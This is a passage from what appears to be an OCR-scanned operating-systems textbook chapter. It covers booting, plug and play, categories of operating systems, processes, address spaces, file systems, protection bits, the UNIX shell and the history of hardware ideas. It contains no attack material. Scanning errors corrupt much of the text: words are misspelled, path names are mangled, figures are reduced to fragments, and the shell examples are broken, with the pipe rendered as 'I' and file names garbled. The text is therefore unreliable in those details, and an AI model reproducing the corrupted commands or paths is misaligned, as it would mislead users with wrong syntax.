I/O addresses Ox3FO to Ox3F7, and the printer was interrupt 7 and used I/O ad
dresses Ox378 to Ox37 A, and so on. 

So far, so good. The trouble carne when the user bought a sound car� and a 
modem card and both happened to use, say, interrupt 4. They would confhct and 
would not work together. The solution was to include DIP switches or jumpers on 
every VO card and instruct the user to please set them to select an interrupt level 
and 1/0 device addresses that did not conflict with any others in the user's system. 
Teenagers who devoted their lives to the intricacies of the PC hardware could 
sometimes do this without making errors. Unfortunately, nobody else could, lead-
ing to chaos. 

. . What plug and play does is have the system automatically collect mformatlOn 
about the lIO devices, centrally assign interrupt levels and I/O addresses, and then 
tell each card what its numbers are. This work is closely related to booting the 
computer, so let us look at that. It is not completely trivial. 
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1.3.7 Booting the Computer 

Very briefly, the Pentium boot process is as follows. Every Pentium contains 
a parentboard (formerly called a motherboard before political correctness hit the 
computer industry). On the parentboard is a program called the system BIOS 
(Basic Input Output System). The BIOS contains low-level IIO software, in
cluding procedures to read the keyboard, write to the screen, and do disk I/O, 
among other things. Nowadays, it is held in a flash RAM, which is nonvolatile but 
which can be updated by the operating system when bugs are found in the BIOS. 

When the computer is booted, the BIOS is started. It first checks to see how 
much RAM is installed and whether the keyboard and other basic devices are in
stalled and responding correctly. It starts out by scanning the ISA and PCI buses 
to detect all the devices attached to them. Some of these devices are typically 
legacy (i.e., designed before plug and play was invented) and have fixed interrupt 
levels and I/O addresses (possibly set by switches or jumpers on the I/O card, but 
not modifiable by the operating system). These devices are recorded. The plug 
and play devices are also recorded. If the devices present are different from when 
the system was last booted, the new devices are configured. 

The BIOS then determines the boot device by trying a list of devices stored in 
the CMOS memory. The user can change this list by entering a BIOS configura
tion program just after booting. Typically, an attempt is made to boot�from the 
floppy disk, if one is present. If that fails the CD-ROM drive is queried to see if a 
bootable CD-ROM is present. If neither a floppy nor a CD-ROM is present, the 
system is booted from the hard disk. The first sector from the boot device is read 
into memory and executed. This sector contains a program that nonnally exam
ines the partition table at the end of the boot sector to determine which partition is 
active. Then a secondary boot loader is read in from that partition. This loader 
reads in the operating system from the active partition and starts it. 

The operating system then queries the BIOS to get the configuration infor
mation. For each device, it checks to see if it has the device driver. If not, it asks 
the user to insert a CD-ROM containing the driver (supplied by the device's 
manufacturer). Once it has all the device drivers, the operating system loads them 
into the kerneL Then it initializes its tables, creates whatever background proc
esses are needed, and starts up a login program or OUr. 

1.4 THE OPERATING SYSTEM ZOO 

Operating systems have been around now for over half a century. During this 
time, quite a variety of them have been developed, not all of them widely known. 
In this section we will briefly touch upon nine of them. We will come back to 
some of these different kinds of systems later in the book. 
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1.4.1 Mainframe Operating Systems 

At the high end are the operating systems for the mainframes, those room
sized computers still found in major corporate data centers. These computers dif
fer from personal computers in tenns of their I/O capacity. A mainframe with 
1000 disks and millions of gigabytes of data is not unusual; a personal computer 
with these specifications would be the envy of its friends. Mainframes are also 
making something of a comeback as high-end Web servers, servers for large-scale 
electronic commerce sites, and servers for business-to-business transactions. 

The operating systems for mainframes are heavily oriented toward processing 
many jobs at once, most of which need prodigious amounts of I/O. They typically 
offer three kinds of services: batch, transaction processing, and timesharing. A 
batch system is one that processes routine jobs without any interactive user pres
ent. Claims processing in an insurance company or sales reporting for a chain of 
stores is typically done in batch mode. Transaction processing systems handle 
large numbers of small requests, for example, check processing at a bank or air
line reservations. Each unit of work is small, but the system must handle hundreds 
or thousands per second. Timesharing systems allow multiple remote users to run 
jobs on the computer at once, such as querying a big database. These functions are 
closely related; mainframe operating systems often perform all of them. An ex
ample mainframe operating system is OS/390, a descendant of OS/360. However, 
mainframe operating systems are gradually being replaced by UNIX variants such 
as Linux. 

1.4.2 Server Operating Systems 

One level down are the server operating systems. They run on servers, which 
are either very large personal computers, workstations, or even mainframes. They 
serve multiple users at once over a network and allow the users to share hardware 
and software resources. Servers can provide print service, file service, or Web ser
vice. Internet providers run many server machines to support their customers and 
Websites use servers to store the Web pages and handle the incoming requests. 
Typical server operating systems are Solaris, FreeBSD, Linux and Windows Ser
ver 200x. 

1.4.3 Multiprocessor Operating Systems 

An increasingly common way to get major-league computing power is to con
nect multiple CPUs into a single system. Depending on precisely how they are 
connected and what is shared, these systems are called paranel computers, 
multicomputers, or multiprocessors. They need special operating systems, but 
often these are variations on the server operating systems, with special features 
for communication, connectivity, and consistency. 
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:Vith the recent advent of multicore chips for personal computers, even con
ventlonal desktop and notebook operating systems are starting to deal with at least 
small-scale multiprocessors and the number of cores is likely to grow over time. 
Fortunately, quite a bit is known about mUltiprocessor operating systems from 
years of previous research, so using this knowledge in multicore systems should ?ot be hard. The hard part will be having applications make use of all this comput
mg power. Many popular operating systems, including Windows and Linux, run 
on multiprocessors. 

1.4.4 Personal Computer Operating Systems 

The next category is the personal computer operating system. Modern ones all 
support multiprogramming, oftfCn with dozens of programs started up at boot time. 
Their job is to provide good support to a single user. They are widely used for 
word processing, spreadsheets, and Internet access. Common examples are Linux, 
FreeBSD, Windows Vista, and the Macintosh operating system. Personal com
puter operating systems are so widely known that probably little introduction is 
needed. In fact, many people are not even aware that other kinds exist. 

1.4.5 Handheld Computer Operating Systems 

Continuing on down to smaller and smaller systems, we come to handheld 
computers. A handheld computer or PDA (Personal Digital Assistant) is a small 
computer that fits in a shirt pocket and perfonns a small number of functions, 
such as an electronic address book and memo pad. Furthermore, many mobile 
phones are hardly any different from PDAs except for the keyboard and screen. 
In effect, PDAs and mobile phones have essentially merged, differing mostly in 
size, weight, and user interface. Almost all of them are based on 32-bit CPUs with 
protected mode and run a sophisticated operating system. 

The operating systems that run on these handhelds are increasingly sophisti
cated, with the ability to handle telephony, digital photography, and other func
tions. Many of them also run third-party applications. In fact, some of them are 
beginning to resemble the personal computer operating systems of a decade ago. 
One major difference between handhelds and PCs is that the fonner do not have 
multigigabyte hard disks, which changes a lot. Two of the most popular operating 
systems for handhelds are Symbian OS and Palm OS. 

1.4.6 Embedded Operating Systems. 

Embedded systems run on the computers that control devices that are not gen
erally thought of as computers and which do not accept user-installed software. 
Typical examples are microwave ovens, TV sets, cars, DVD recorders, cell 
phones, MP3 players. The main property which distinguishes embedded systems 
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from handhelds is the certainty that no untrusted software will ever run on it. Y all 
cannot download new applications to your microwave oven-aU the software is in 
ROM. This means that there is no need for protection between applications, lead
ing to some simplification. Systems such as QNX and VxWorks are popular in 
this domain. 

1.4.7 Sensor Node Operating Systems 

Networks of tiny sensor nodes are being deployed for numerous purposes. 
These nodes afe tiny computers that communicate with each other and with a base 
station using wireless communication. These sensor networks are used to protect 
the perimeters of buildings, guard national borders, �etect fires i

o
n forests., measure 

temperature and precipitation for weather forecastlOg, glean mfonnatlOn about 
enemy movements on battlefields, and much more. 

The sensors are small battery-powered computers with built-in radios. They 
have limited power and must work for long periods of time unattended outdoors, 
frequently in environmentally harsh conditions . . The networ� must 

.
be rob.ust 

enough to tolerate failures of individual nodes, WhICh happen With ever mcreasmg 
frequency as the batteries begin to run down. 

Each sensor node is a real computer, with a CPU, RAM, ROM, and one or 
more environmental sensors. It runs a small" but real operating system, usually 
one that is event driven, responding to external events or making measurements 
periodically based on an internal clock. The operating sy�te� ha� to be �ma:I. and 
simple because the nodes have little RAM and battery llfetlI?e IS a major Issue. 
Also, as with embedded systems, all the programs are loaded III advance; users do 
not suddenly start programs they downloaded from the Internet, which makes the 
design much simpler. TinyOS is a well-known operating system for a sensor node. 

1.4.8 Real-Time Operating Systems 

Another type of operating system is the real-time system. These systems are 
characterized by having time as a key parameter. For example, in industrial proc
ess control systems, real-time computers have to collect data about the production 
process and use it to control machines in the factory. Often there are hard d�ad
lines that must be met. For example, if a car is moving down an assembly hne, 
certain actions must take place at certain instants of time. If a welding robot 
welds too early or too late, the car will be ruined. If the action absolutely must 
occur at a certain moment (or within a certain range), we have a hard real-time 
system. Many of these are found in industrial process control, avionics, military, 
and similar application areas. These systems must provide absolute guarantees 
that a certain action will occur by a certain time. 

Another kind of real-time system is a soft real�time system, in which missing 
an occasional deadline, while not desirable, is acceptable and does not cause any 
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permanent damage. Digital audio or multimedia systems fall in this category. 
Digital telephones are also soft real-time systems. 

Since meeting strict deadlines is crucial in real-time systems, sometimes the 
operating system is simply a library linked in with the application programs, with 
everything tightly coupled and no protection between parts of the system. An ex
ample of this type of real-time system is e-Cos. 

The categories of handhelds, embedded systems, and real-time systems over
lap considerably. Nearly all of them have at least some soft real-time aspects. 
The embedded and real-time systems run only software put in by the system de
signers; users cannot add their own software, which makes protection easier. The 
handhelds and embedded systems are intended for consumers, whereas real-time 
systems are more for industrial usage. Nevertheless, they have a certain amount in 
common. 

1.4.9 Smart Card Operating Systems 

The smallest operating systems run on smart cards, which are credit card
sized devices containing a CPU Chip. They have very severe processing power 
and memory constraints. Some are powered by contacts in the reader into which 
they are inserted, but contactless smart cards are inductively powered, which 
greatly limits what they can do. Some of them can handle only a single function, 
such as electronic payments, but others can handle multiple functions on the same 
smart card. Often these are proprietary systems. 

Some smart cards are Java oriented. What this means is that the ROM on the 
smart card holds an interpreter for the Java Virtual Machine (NM). Java applets 
(small programs) are downloaded to the card and are interpreted by the JVM in
terpreter. Some of these cards can handle multiple Java applets at the same time, 
leading to multiprogramming and the need to schedule them. Resource man
agement and protection also become an issue when two or more applets are pres
ent at the same time. These issues must be handled by the (usually extremely 
primitive) operating system present on the card. 

1.5 OPERATING SYSTEM CONCEPTS 

Most operating systems provide certain baSic concepts and abstractions such 
as processes, address spaces, and files that are central to understanding them. In 
the following sections, we will look at some of these basic concepts ever so 
briefly, as an introduction. We will come back to each of them in great detail 
later in this book. To iIIustrate these concepts we will use examples from time to 
time, generally drawn from UNIX. Similar examples typically exist in other sys
tems as well, however, and we will study Windows Vista in detail in Chap. 1 1 .  
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1.5.1 Processes 

A key concept in all operating systems is the process. A process is basical:y 
a program in execution. Associated with each process is its address space, a lIst 
of memory locations from 0 to some maximum, which the process can read and 
write. The address space contains the executable program, the program's data, and 
its stack. Also associated with each process is a set of resources, commonly 1n
cludincr rcaisters (including the program counter and stack pointer), a list of open 
files, ;uts�nding alarms, lists of related processes, and all the other information 
needed to run the program. A process is fundamentally a container that holds all 
the information needed to run a program. 

We will come back to the process concept in much more detail in Chap. 2, but 
for the time being, the easiest way to get a good intuitive feel for a process is to 
think about a multiprogramming system. The user may have a started a video edit
inll" proll"ram and instructed it to convelt a one-hour video to a certain format 
(s�mething that can take hours) and then gone off to surf the Web. Meanwhile, a 
background process that wakes up periodically to check for incoming e-mail may 
have started running. Thus we have (at least) three active processes: the video edi
tor, the Web browser, and the e-mail receiver. Periodically, the operating system 
decides to stop running one process and start running another; for example, be
cause the first one has used up more than its share of CPU time in the past second 
or two. 

When a process is suspended temporarily like this, it must later be restarted in 
exactly the same state it had when it was stopped. This means that all infonnation 
about the process must be explicitly saved somewhere during the suspension. For 
example, the process may have several files open for reading at once. Associated 
with each of these files is a pointer giving the current position (i.e., the number of 
the byte or record to be read next). When a process is temporarily suspended, all 
these pointers must be saved so that a read call executed after the process is 
restarted will read the proper data. In many operating systems, all the infonnation 
about each process, other than the contents of its own address space, is stored in 
an operating system table called the process table, which is an array (or linked 
list) of structures, one for each process currently in existence. 

Thus, a (suspended) process consists of its address space, usually called the 
core image (in honor of the magnetic core memories used in days of yore), and its 
process table entry, which contains the contents of its registers and many other 
items needed to restart the process later. 

The key process management system calls are those dealing with the creation 
and termination of processes. Consider a typical example. A process called the 
command interpreter or shell reads commands from a terminal. The user has 
just typed a command requesting that a program be compiled. The shell must 
now create a new process that will run the compiler. When that process has fin
ished the compilation, it executes a system call to tenninate itself. 
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If a process can create one or more other processes (refelTed to as child 
processes) and these processes in tum can create child processes, we quickly 
arrive at the process tree structure of Fig. 1-13. Related processes that are cooper
ating to get some job done often need to communicate with one another and syn
chronize their activities. This communication is called interprocess communica
tion, and will be addressed in detail in Chap. 2. 

A 

Figure I-B. A process tree. Process A created two child processes, B and C. 
Process B created three child processes, D, E, an.d F. 

Other process system calls are available to request more memory (or release 
unused memory), wait for a child process to terminate, and overlay its program 
with a different one. 

Occasionally, there is a need to convey infonnation to a running process that 
is not Sitting around waiting for this information. For example, a process that is 
communicating with another process on a different computer does so by sending 
messages to the remote process over a computer network. To guard against the 
possibility that a message or its reply is lost, the sender may request that its own 
operating system notify it after a specified number of seconds, so that it can 
retransmit the message if no acknowledgement has been received yet. After set
ting this timer, the program may continue doing other work. 

When the specified number of seconds has elapsed, the operating system 
sends an alarm signal to the process. The signal causes the process to temporarily 
suspend whatever it was doing, save its registers on the stack, and start running a 
special signal handling procedure, for example, to retransmit a presumably lost 
message. When the signal handler is done, the running process is restarted in the 
state it was in just before the signal. Signals are the software analog of hardware 
interrupts and can be generated by a variety of causes in addition to timers expir
ing. Many traps detected by hardware, such as executing an illegal instruction or 
using an invalid address, are also converted into signals to the guilty process. 

Each person authorized to use a system is asSigned a UID (User IDentifica
tion) by the system administrator. Every process started has the UID of the person 
who started it. A child process has the same UIO as its parent. Users can be 
members of groups, each of which has a GID (Group IDentification). 

One UID, called the superuser (in UNIX), has special power and may violate 
many of the protection rules. In large installations, only the system administrator 
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knows the password needed to become superuser, but many of the ordinary users 
(especially students) devote considerable effort to trying to find flaws in the sys
tem that allow them to become superuser without the password, 

We will study processes, interprocess communication, and related issues in 
Chap. 2. 

1.5.2 Address Spaces 

Every computer has some main memory that it uses to hold executing pro
grams. In a very simple operating system, only one program at a time is in memo
ry. To run a second program, the first one has to be removed and the second one 
placed in memory. 

More sophisticated operating systems allow multiple programs to be in mem
ory at the same time. To keep them from interfering with one another (and with 
the operating system), some kind of protection mechanism is needed. While this 
mechanism has to be in the hardware, it is controlled by the operating system. 

The above viewpoint is concerned with managing and protecting the com
puter's main memory. A different, but equally important memory-related issue, is 
managing the address space of the processes. Normally, each process has some set 
of addresses it can use, typically running from 0 up to some maximum. In the 
simplest case, the maximum amount of address space a process has is less than the 
main memory. In this way, a process can fill up its address space and there will 
be enough room in main memory to hold it all 

However, on many computers addresses are 32 or 64 bits, giving an address 
space of 232 or 264 bytes, respectively. What happens if a process has more ad
dress space than the computer has main memory and the process wants to use it 
all? In the first computers, such a process was just out of luck. Nowadays, a tech
nique called virtual memory exists, as mentioned earlier, in which the operating 
system keeps part of the address space in main memory and part on disk and shut
tles pieces back and forth between them as needed. In essence, the operating sys
tem creates the abstraction of an address space as the set of addresses a process 
may reference. The address space is decoupled from the machine's physical mem
ory, and may be either larger or smaller than the physical memory, Management 
of address spaces and physical memory form an important part of what an operat
ing system does, so all of Chap. 3 is devoted to this topiC. 

1.5.3 Files 

Another key concept supported by virtually all operating systems is the file 
system. As noted before, a major function of the operating system is to hide the 
peculiarities of the disks and other I/O devices and present the programmer with a 
nice, clean abstract model of device-independent files. System calls are obviously 
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needed to create files, remove files, read files, and write files. Before a file can be 
read, it must be located on the disk and opened, and after it has been read it should 
be closed, so calls are provided to do these things. 

To provide a place to keep files, most operating systems have the concept of a 
direc�ory as a way of grouping files together. A student, for example, might have 
one dIrectory for eaGh course he or she is taking (for the programs needed for that 
course), another directory for his electronic mail, and still another directory for his 
World Wide Web home page. System calls are then needed to create and remove 
directories. Calls are also provided to put an existing file in a directory, and to re
move a file from a directory. Directory entries may be either files or other direc
t�ries. This model also gives rise to a hierarchy-the file system-as shown in 
FIg. 1-14. 

Roo! directory 

Students Faculty 

Prof.Brown Prof.Whlte 

COST-11 
Files � 

Figure 1*14. A file system for a university department. 

The process and �le hier.archies both are organized as trees, but the similarity �tops there. Process hIerarchIes usually are not very deep (more than three levels 
IS unusual), whereas file hierarchies are commonly four, five, Or even more levels 
deep. Process hierarchies are typically Short-lived, generally minutes at most, 
where�s the directory hierarchy may exist for years. Ownership and protection 
also dIffer for processes and files. Typically, only a parent process may control or 
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even access a child process, but mechanisms nearly always exist to allow files and 
directories to be read by a wider group than just the owner. 

Every file within the directory hierarchy can be specified by giving its path 
name from the top of the directory hierarchy, the root directory. Such absolute 
path names consist of the list of directories that must be traversed from 

.
the root 

directory to get to the file, with slashes separating the components. In FIg. 1-14, 
the path for file CS10l is IFacultylProjBrowniCourseslCS10l. The leading slash 
indicates that the path is absolute, that is, starting at the root dIrectory. As an 
aside, in MS-DOS and Windows, the backslash (\) character is used as the separa
tor instead of the slash (I) character, so the file path given above would be written 
as \Faculty\Pro/Brown\Courses\CSlOl. Throughout this book we will generally 
use the UNIX convention for paths. 

At every instant, each process has a current working directory, in which path 
names not beginning with a slash are looked for. As an example, in Fig. 1-14, if 
IFacultylPro/Brown were the working directory, then use of the path name 
CourseslCSlOl would yield the same file as the absolute path name given above. 
Processes can change their working directory by issuing a system call specifying 
the new working directory. 

Before a file can be read or written, it must be opened, at which time the per
missions are checked. If the access is permitted, the system returns a small inte
ger called a file descriptor to use in subsequent operations. If the access is prohi
bited, an error code is returned. 

Another important concept in UNIX is the mounted file system. Nearly all per
sonal computers have one or more optical drives into which CD-ROMs and DVDs 
can be inserted. They almost always have USB ports, into which USB memory 
sticks (really, solid state disk drives) can be plugged, and some computers have 
floppy disks or external hard disks. To provide an elegant way to deal with these 
removable media UNIX allows the file system on a CD-ROM or DVD to be 
attached to the main tree. Consider the situation of Fig. 1-15(a). Before the mount 
call, the root file system, on the hard disk, and a second file system, on a CD
ROM, are separate and unrelated. 

However, the file system on the CD-ROM cannot be used, because there is no 
way to specify path names on it. UNIX does not allow path names to be prefixed 
by a drive name or number; that would be precisely the kind of device dependence 
that operating systems oUght to eliminate. Instead, the mount system call allows 
the file system on the CD-ROM to be attached to the root file system wherever the 
program wants it to be. In Fig. 1-15(b) the file system on the CD-ROM

. 
has been 

mounted on directory b, thus allowing access to files Iblx and Ibly. If dIrectory b 
had contained any files they would not be accessible while the CD-ROM was 
mounted, since Ib would refer to the root directory of the CD-ROM. (Not being 
able to access these files is not as serious as it at first seems: file systems are 
nearly always mounted on empty directories.) If a system contains multiple hard 
disks, they can all be mounted into a single tree as well. 
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Root CD·ROM 

lal 

c 

Ibl 

Figure 1-15. (a) Before mounting, the files on the CD-ROM are not accessible. 
(b) After mounting, they are 'part of the file hierarchy. 
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Another important concept in UNIX is the special file. Special files are pro
vided in order to make lIO devices look like files. That way, they can be read and 
written using the same system calls as are used for reading and writing nIes. Two 
kinds of special files exist: block special flIes and character special files. Block 
special files are used to model devices that consist of a collection of randomly ad
dressable blocks, such as disks. By opening a block special file and reading, say, 
block 4, a program can directly access the fourth block on the device, without 
regard to the structure of the file system contained on it. Similarly, character spe
cial files are used to model printers, modems, and other devices that accept or out
put a character stream. By convention, the special files are kept in the /dev direc
tory. For example, Idev/lp might be the printer (once called the line printer). 

The last feature we will discuss in this overview is one that relates to both 
processes and files: pipes. A pipe is a sort of pseudofile that can be used to con
nect two processes, as shown in Fig. 1-16. If processes A and e wish to talk using 
a pipe, they must set it up in advance. When process A wants to send data to proc
ess e, it writes on the pipe as though it were an output file. In fact, the imple
mentation of a pipe is very much like that of a file. Process e can read the data by 
reading from the pipe as though it were an input file. Thus, communication be
tween processes in UNIX looks very much like ordinary file reads and writes. 
Stronger yet, the only way a process can discover that the output file it is writing 
on is not really a file, but a pipe, is by making a special system call. File systems 
are very important. We will have much more to say about them in Chap. 4 and 
also in Chaps. 10 and I I .  

1.5.4 Input/Output 

All computers have physical devices for acquiring input and producing output. 
After all. what good would a computer be if the users could not tell it what to do 
and could not get the results after it did the work requested? Many kinds of input 
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Process Process 8�PiP=' =8 
Figure 1-16. Two processes connected by a pipe. 

CHAP. I 

and output devices exist, including keyboards, .monitors, printers, and so on. It is 
up to the operating system to manage these devIces. . . Consequently, every operating system has an 1/0 subsystem for .managl?g ItS 
1/0 devices. Some of the I/O software is device independent, tha� IS, �pphes to 
many or all I/O devices equally well. Other parts �f it, such as deVIce drIvers, are 
specific to particular I/O devices. In Chap. 5 we wIll have a look at 110 software. 

1.5.5 Protection 

Computers contain large amounts of informati�n that users ?ften ,:aot to pro
tect and keep confidential. This information may mclllde e-matl, busmess plans, 
tax returns, and much more. It is up to the operating system to .manage the system 
security so that files, for example, are only accessible to au�onzed users. . As a simple example, just to get an idea of how secunty �an. work, consl�er 
UNIX. Files in UNIX are protected by assigning each one a 9-bIt bmary protectIon 
code. The protection code consists of three 3-bit fields, one for the owner, one for 
other members of the owner's group (users are divided into groups by the system 
administrator), and one for everyone else. Each field has a �it for read access, a 
bit for write access, and a bit for execute access. These 3 bIts are known as the 
rwx bits. For example, the protection code rwxr-X--X means that the owner can 
read write or execute the file, other group members can read or execute (but not 
writ�) the flle, and everyone else can execute (but not read or write) the file. F�r a 
directory, x indicates search permission. A dash means that the correspondmg 
permission is absent. 

. . . (1 In addition to file protection, there are many other secunty ISSUes. p:-otectlll? 
the system from unwanted intruders, both ?Ul"?an an� nonhuman (e.g., vIruses) IS 
one of them. We will look at various secunty Issues III Chap. 9. 

1.5.6 The Shell 

The operating system is the code that carries out the sys.tem calls. Editors, 
compilers, assemblers, linkers, and command interpreters defimtely are not �art of 
the operating system, even though they are imp�rtant and. usefuL At the nsk of 
confusing things somewhat, in this section we wIll look bnefly at the �NIX com
mand interpreter, called the shell. Although it is not part of the operatmg system, 
it makes heavy use of many operating system features and thus serves as a good 
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example of how the system calls can be used. It is also the primary interface be
tween a user sitting at his terminal and the operating system, unless the user is 
using a graphical user interface. Many shells exist, including sh, csh, ksh, and 
bash. All of them support the functionality described below, which derives from 
the original shell (sh). 

When any user logs in, a shell is started up. The shell has the terminal as stan
dard input and standard output. It starts out by typing the prompt, a character 
such as a dollar sign, which tells the user that the shell is waiting to accept a com
mand. If the user now types 

date 

for example, the shell creates a child process and runs the date program as the 
child. While the child process is running, the shell waits for it  to terminate. When 
the child finishes, the shell types the prompt again and tries to read the next input 
line. 

The user can specify that standard output be redirected to a file, for example, 

date >file 

Similarly, standard input can be redirected, as in 

sort <me 1 >file2 

which invokes the sort program with input taken from file] and output sent to 
fUel. 

The output of one program can be used as the input for another program by 
connecting them with a pipe. Thus 

cat Wei fi!e2 file3 I sort >/dev/lp 

invokes the cat program to concatenate three files and send the output to sort to 
arrange aU the lines in alphabetical order. The output of sort is redirected to the 
file /dev/lp, typically the printer. 

If a user puts an ampersand after a command, the shell does not wait for it to 
complete. Instead it just gives a prompt immediately. Consequently, 

cat lile1 lile2 lile3 I sort >/dev/lp & 

starts up the sort as a background job, allowing the user to continue working nor
mally while the sort is going on. The shell has a number of other interesting fea
tures, which we do not have space to discuss here. Most books on UNIX discuss 
the shell at some length (e.g., Kernighan and Pike, 1984;_ Kochan and Wood, 
1990; Medinets, 1999; Newham and Rosenblatt, 1998; and Robbins, 1 999). 

Many personal computers use a GUI these days. In fact, the GUI is just a pro
gram running on top of the operating system, like a sheIL In Linux systems, this 
fact is made obvious because the user has a choice of (at least) two GUIs: Gnome 
and KDE or none at all (using a tenninal window on X I I). In Windows, it is also 
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possible to replace the -standard GUI desktop (Windows Explorer) with a different 
program by changing some values in the registry, although few people do this. 

1.5.7 Ontogeny Recapitulates Phylogeny 

After Charles Darwin's book On the Origin afthe Species was published, the 
German zoologist Ernst Haeckel stated that "ontogeny recapitulates phylogeny." 
By this he meant that the development of an embryo (ontogeny) repeats (i.e., 
recapitulates) the evolution of the species (phylogeny). In other words, after fer
tilization, a human egg goes through stages of being a fish, a pig, and so on before 
turning into a human baby. Modern biologists regard this as a gross simplification, 
but it still has a kernel of truth in it. 

Something vaguely analogous has happened in the computer industry. Each 
new species (mainframe, minicomputer, personal computer, handheld, embedded 
computer, smart card, etc.) seems to go through the development that its ancestors 
did, both in hardware and in software. We often forget that much of what hap
pens in the computer business and a lot of other fields is technology driven. The 
reason the ancient Romans lacked cars is not that they liked walking so much. It 
is because they did not know how to build cars. Personal computers exist not be
cause millions of people have a centuries-old pent-up desire to own a computer, 
but because it is now possible to manufacture them cheaply. We often forget how 
much technology affects our view of systems and it is worth reflecting on this 
point from time to time. 

In particular, it frequently happens that a change in technology renders some 
idea obsolete and it quickly vanishes. However, another change in technology 
could revive it again. This is especially true when the change has to do with the 
relative perfOlmance of different parts of the system. For instance, when CPUs 
became much faster than memories, caches became important to speed up the 
"slow" memory, If new memory technology someday makes memories much 
faster than CPUs, caches will vanish. And if a new CPU technology makes them 
faster than memories again, caches will reappear. In biology, extinction is for
ever, but in computer science, it is sometimes only for a few years. 

As a consequence of this impermanence, in this book we will from time to 
time look at "obsolete" concepts, that is, ideas that are not optimal with current 
technology. However, changes in the technology may bring back some of the so
called "obsolete concepts."  For this reason, it is important to understand why a 
concept is obsolete and what changes in the environment might bring it back 
again, 

To make this point clearer, let us consider a simple example, Early computers 
had hardwired instruction sets. The instructions were executed directly by hard
ware and could not be changed. Then came microprogramming (first introduced 
on a large scale with the IBM 360), in which an underlying interpreter carried out 
the «hardware instructions" in software. Hardwired execution became obsolete. 

:"3 
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Not flexible enough. Then RISe computers were invented, and microprogram
ming (i.e., interpreted execution) became obsolete because direct execution was 
faster. Now we are seeing the resurgence of interpretation in the fonn of Java 
applets that are sent over the Internet and interpreted upon arrival. Execution 
speed is not always crucial because network delays are so great that they tend to 
dominate, Thus the. pendulum has already swung several cycles between direct 
execution and interpretation and may yet swing again in the future, 

Large Memories 

Let us now examine some historical developments in hardware and how they 
have affected software repeatedly. The first mainframes had limited memory. A 
fully loaded IBM 7090 or 7094. which played king of the mountain from late 1959 
until 1964, had just over 128 KB of memory, It was mostly programmed in as
sembly language and its operating system was written in assembly language to 
save precious memory, 

As time went on, compilers for languages like FORTRAN and COBOL got 
good enough that assembly language was pronounced dead, But when the first 
commercial minicomputer (the PDP-I) was released, it had only 4096 18�bit 
words of memory, and assembly language made a surprise comeback. E.ventually, 
minicomputers acquired more memory and high-level languages became pre
valent on them. 

When microcomputers hit in the early 1980s, the first ones had 4-KB mem
ories and assembly language programming rose from the dead. Embedded com
puters often used the same CPU chips as the microcomputers (8080s, Z80s, and 
later 8086s) and were also programmed in assembler initially. Now their descen
dants, the personal computers, have lots of memory and are programmed in C, 
C++, Java, and other high-level languages. Smart cards are undergoing a similar 
development, although beyond a certain size, the smart cards often have a Java 
interpreter and execute Java programs interpretively, rather than having . Java 
being compiled to the smart card's machine language, 

Protection Hardware 

Early mainframes, like the IBM 709017094, had no protection hardware, so 
they just ran one program at a time. A buggy program could wipe out the operat
ing system and easily crash the machine. With the introduction of the IBM 360, a 
primitive form of hardware protection became available and these machines could 
then hold several programs in memory at the same time and let them take turns 
running (multiprogramming), Monoprogramming was declared obsolete. 

At least until the first minicomputer showed up-without protection hard
ware-so multiprogramming was not possible. Although the PDP-l and PDP-8 
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had no protection hardware, eventually the PDP� 1 1  did, and this feature led to 
multiprogramminO' and eventually to UNIX. 

When the firs� microcomputers were built, they used the Intel 8080 CPU chip, 
which had no hardware protection, so we were back to monoprogramming. It 
wasn't until the Intel 80286 that protection hardware was added and multipro
gramming became possible. Until this day, many embedded systems have no pro� 
teedon hardware and run just a single program. 

Now let us look at operating systems. The first mainframes initially had no 
protection hardware and no support for multiprogramming, so they ran simple op
erating systems that handled one manually loaded program at a time. Later they 
acquired the hardware and operating system support to handle multiple programs 
at once, and then full timesharing capabilities. 

When minicomputers first appeared, they also had no protection hardware and 
ran one manually loaded program at a time, even though mUltiprogramming was 
well established in the mainframe world by then. Gradually, they acquired protec
tion hardware and the ability to run two or more programs at once. The first 
microcomputers were also capable of running only one program at a time, but 
later acquired the ability to multiprogram. Handheld computers and smart cards 
went the same route. 

In all cases, the software development was dictated by technology. The first 
microcomputers, for example, had something like 4 KB of memory and no protec
tion hardware. High-level languages and multiprogramming were simply too 
much for such a tiny system to handle. As the microcomputers evolved into mod
ern personal computers, they acquired the necessary hardware and then the neces
sary software to handle more advanced features. It is likely that this development 
will continue for years to come. Other fields may also have this wheel of reincar
nation, but in the computer industry it seems to spin faster. 

Disks 

Early mainframes were largely magnetic-tape based. They would read in a 
program from tape, compile it, run it, and write the results back to another tape. 
There were no disks and no concept of a file system. That began to change when 
IBM introduced the first hard disk-the RAMAC (RAndoM ACcess) in 1 956. It 
occupied about 4 square meters of floor space and could store 5 million 7-bit char
acters, enough for one medium-resolution digital photo. But with an annual rental 
fee of $35,000, assembling enough of them to store the equivalent of a roll of film 
got pricey quite fast But eventually prices came down and primitive file systems 
were developed. 

Typical of these new developments was the CDC 6600, introduced in 1964 
and for years by far the fastest computer in the world. Users could create so-called 
"permanent files" by giving them names and hoping that no other user had also 
decided that, say, "data" was a suitable name for a file. This was a single-level 
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directory. Eventually, mainframes developed complex hierarchical file systems, 
perhaps culminating in the MULTICS file system. 

As minicomputers came into use, they eventually also had hard disks. 'The 
standard disk on the PDP-I I when it was introduced in 1970 was the RK05 disk 
with a capaCity of 2.5 MB, about half of the IBM RAMAC, but it was only abou; 
40 cm Ill. diameter a,nd 5 cm high. But it, too, had a single-level directory initially. 
\Vhen IIl1�rocomputers ca�e out, CP/M was initially the dominant operating sys
tem, and It, too, supported Just one directory on the (floppy) disk. 

Virtual Memory 

Virtual mem?ry (discu�sed in  Chap. 3), gives the ability to run programs larg� 
er than the machme's physlcaLmemory by moving pieces back and forth between 
RAM and disk. It underwent a similar development, first appearing on main
fr�n:es, then moving to the minis and the micros. Virtual memory also enabled the 
ablhty to have a program dynamically link in a library at run time instead of hav
ing it compiled in. MULTICS was the first system to allow this. Eventually, the 
idea propagated down the line and is now widely used on most UNIX and Win
dows systems. 

In all these developments, we see ideas that are invented in one context and 
later thrown o�t wh:n the context changes (assembly language programming, 
monoprogrammmg, smgle-Ievel directories, etc.) only to reappear in a different 
context often a decade later. For this reason in this book we will sometimes look 
at ideas and algorithms that may seem dated on today's gigabyte pes, but which 
may soon come back on embedded computers and smart cards. 

1,6 SYSTEM CALLS 

We
. 
